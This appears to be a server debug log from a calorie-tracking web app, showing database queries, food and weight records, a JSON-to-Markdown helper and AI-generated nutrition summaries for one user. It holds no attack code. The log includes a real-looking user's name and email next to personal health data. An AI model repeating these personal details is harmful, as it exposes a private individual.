    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T05:49:51.251Z server-connect:output restrict: undefined
2025-12-22T05:49:51.251Z server-connect:app Executing action step single
2025-12-22T05:49:51.251Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T05:49:51.252Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T05:49:51.253Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "Today's food intake appears to be focused on post-workout recovery with a protein source and a carbohydrate-rich meal. The inclusion of a banana and pre-workout is appropriate for energy. However, the overall meal composition lacks diversity and may not fully support muscle development and fat loss goals without additional nutrient-dense foods throughout the day. Consistency in this pattern might lead to slow progress.",
    bad_points: [
      'Limited variety in food choices for the day.',
      'Potential lack of sufficient fiber and micronutrients.',
      'Meal timing seems heavily concentrated around the workout.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Consumption of a banana for quick energy.',
      'Pre-workout supplement use for gym performance.'
    ],
    suggestions: [
      'Incorporate more vegetables and diverse protein sources throughout the day.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding healthy fats to meals for satiety and nutrient absorption.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T05:49:51.254Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T05:49:51.254Z server-connect:app Executing action step select
2025-12-22T05:49:51.254Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T05:49:51.256Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  },
  {
    id: 483,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black tea with lemon,Green tea,Herbal tea,Tea with skim milk and no sugar',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 2,
    skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
  },
  {
    id: 484,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
    replacements: 'Artificial sweeteners (stevia, erythritol, sucralose),Less sugar,Small amount of honey (still caloric, but some nutritional benefits)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 3,
    skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
  },
  {
    id: 485,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Black coffee (no sugar/milk)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
  }
]
2025-12-22T05:49:51.256Z server-connect:app Executing action step setvalue
2025-12-22T05:49:51.256Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T05:49:51.256Z server-connect:output var_total: 518
2025-12-22T05:49:51.256Z server-connect:app Executing action step setvalue
2025-12-22T05:49:51.256Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T05:49:51.256Z server-connect:output var_consumed: 22
2025-12-22T05:49:51.256Z server-connect:app Executing action step setvalue
2025-12-22T05:49:51.256Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T05:49:51.256Z server-connect:output var_deficit: 1882
2025-12-22T05:49:51.256Z server-connect:app Executing action step custom
2025-12-22T05:49:51.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T05:49:51.258Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '518',
    surplus_or_deficit: '1882',
    status_flag: 2
  }
]
2025-12-22T05:49:51.762Z server-connect:app Executing action step identify
2025-12-22T05:49:51.762Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:51.762Z server-connect:output identity: 1
2025-12-22T05:49:54.290Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-22T05:49:54.290Z server-connect:app Executing action step identify
2025-12-22T05:49:54.290Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:54.290Z server-connect:output identity: 1
2025-12-22T05:49:54.290Z server-connect:app Executing action step restrict
2025-12-22T05:49:54.290Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:54.292Z server-connect:output restrict: undefined
2025-12-22T05:49:54.292Z server-connect:app Executing action step select
2025-12-22T05:49:54.292Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-22T05:49:54.293Z server-connect:output items_consumed_today: [
  {
    id: 478,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium'
  },
  {
    id: 479,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 480,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 481,
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)'
  },
  {
    id: 482,
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)'
  },
  {
    id: 483,
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)'
  },
  {
    id: 484,
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)'
  },
  {
    id: 485,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  }
]
2025-12-22T05:49:54.293Z server-connect:app Executing action step paged
2025-12-22T05:49:54.293Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-22T05:49:54.295Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 18,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' }
  ]
}
2025-12-22T05:49:54.295Z server-connect:app Executing action step run
2025-12-22T05:49:54.295Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-22T05:49:54.296Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 478 | Banana | 105 | 1 | 27 | 0 | 1 medium |\n' +
  '| 479 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 480 | Whey Protein | 120 | 27 | 3 | 2 | 1 scoop (27g protein) |\n' +
  '| 481 | Wheat Semolina Pasta (homemade) | 150 | 5 | 30 | 1 | 1 serving (approx 100g cooked) |\n' +
  '| 482 | Matar (Green Peas) | 40 | 3 | 7 | 0 | Mixed with pasta (approx 50g) |\n' +
  '| 483 | Milk Tea | 75 | 4 | 8 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 484 | White Sugar | 16 | 0 | 4 | 0 | 1 spoon (assuming 1 teaspoon, approx 4g) |\n' +
  '| 485 | Green Tea | 2 | 1 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '\n'
2025-12-22T05:49:54.296Z server-connect:app Executing action step run
2025-12-22T05:49:54.296Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-22T05:49:54.297Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-22T05:49:54.297Z server-connect:app Executing action step setvalue
2025-12-22T05:49:54.297Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-22T05:49:54.297Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 478 | Banana | 105 | 1 | 27 | 0 | 1 medium |\n' +
  '| 479 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 480 | Whey Protein | 120 | 27 | 3 | 2 | 1 scoop (27g protein) |\n' +
  '| 481 | Wheat Semolina Pasta (homemade) | 150 | 5 | 30 | 1 | 1 serving (approx 100g cooked) |\n' +
  '| 482 | Matar (Green Peas) | 40 | 3 | 7 | 0 | Mixed with pasta (approx 50g) |\n' +
  '| 483 | Milk Tea | 75 | 4 | 8 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 484 | White Sugar | 16 | 0 | 4 | 0 | 1 spoon (assuming 1 teaspoon, approx 4g) |\n' +
  '| 485 | Green Tea | 2 | 1 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-22T05:49:54.297Z server-connect:app Executing action step processWithGemini
2025-12-22T05:49:54.297Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-22T05:49:56.685Z server-connect:output health_summary: {
  summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
  rating: 6,
  good_points: [
    'Post-workout protein intake is present.',
    'Inclusion of a balanced meal with carbohydrates and some protein.',
    'Hydration with green tea is a positive.'
  ],
  bad_points: [
    'Overall food variety is limited.',
    'Protein intake may be insufficient for muscle development goals.',
    'Potential for lower energy levels due to limited food volume.',
    'Sugar added to milk tea.'
  ],
  suggestions: [
    'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
    'Increase the variety of vegetables and fruits to enhance nutrient intake.',
    'Consider adding healthy fats like nuts or seeds to meals.',
    'Reduce or eliminate added sugar in beverages.'
  ],
  predicted_weight_trend: 'Slight downward trend with potential for stabilization.',
  predicted_weight: 70
}
2025-12-22T05:49:56.685Z server-connect:app Executing action step condition
2025-12-22T05:49:56.685Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-22T05:49:56.686Z server-connect:app Executing action step delete
2025-12-22T05:49:56.686Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-22T05:49:56.687Z server-connect:output delete: { affected: 1 }
2025-12-22T05:49:56.687Z server-connect:app Executing action step insert
2025-12-22T05:49:56.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-22T05:49:56.688Z server-connect:output insert: { affected: 1, identity: 54 }
2025-12-22T05:49:56.688Z server-connect:output condition: undefined
2025-12-22T05:49:56.890Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T05:49:56.890Z server-connect:app Executing action step identify
2025-12-22T05:49:56.891Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:56.891Z server-connect:output identity: 1
2025-12-22T05:49:56.891Z server-connect:app Executing action step restrict
2025-12-22T05:49:56.891Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:56.891Z server-connect:output restrict: undefined
2025-12-22T05:49:56.891Z server-connect:app Executing action step single
2025-12-22T05:49:56.891Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T05:49:56.891Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
    bad_points: [
      'Overall food variety is limited.',
      'Protein intake may be insufficient for muscle development goals.',
      'Potential for lower energy levels due to limited food volume.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Post-workout protein intake is present.',
      'Inclusion of a balanced meal with carbohydrates and some protein.',
      'Hydration with green tea is a positive.'
    ],
    suggestions: [
      'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
      'Increase the variety of vegetables and fruits to enhance nutrient intake.',
      'Consider adding healthy fats like nuts or seeds to meals.',
      'Reduce or eliminate added sugar in beverages.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T05:50:01.991Z server-connect:app Executing action step identify
2025-12-22T05:50:01.991Z server-connect:app options: { provider: 'security' }
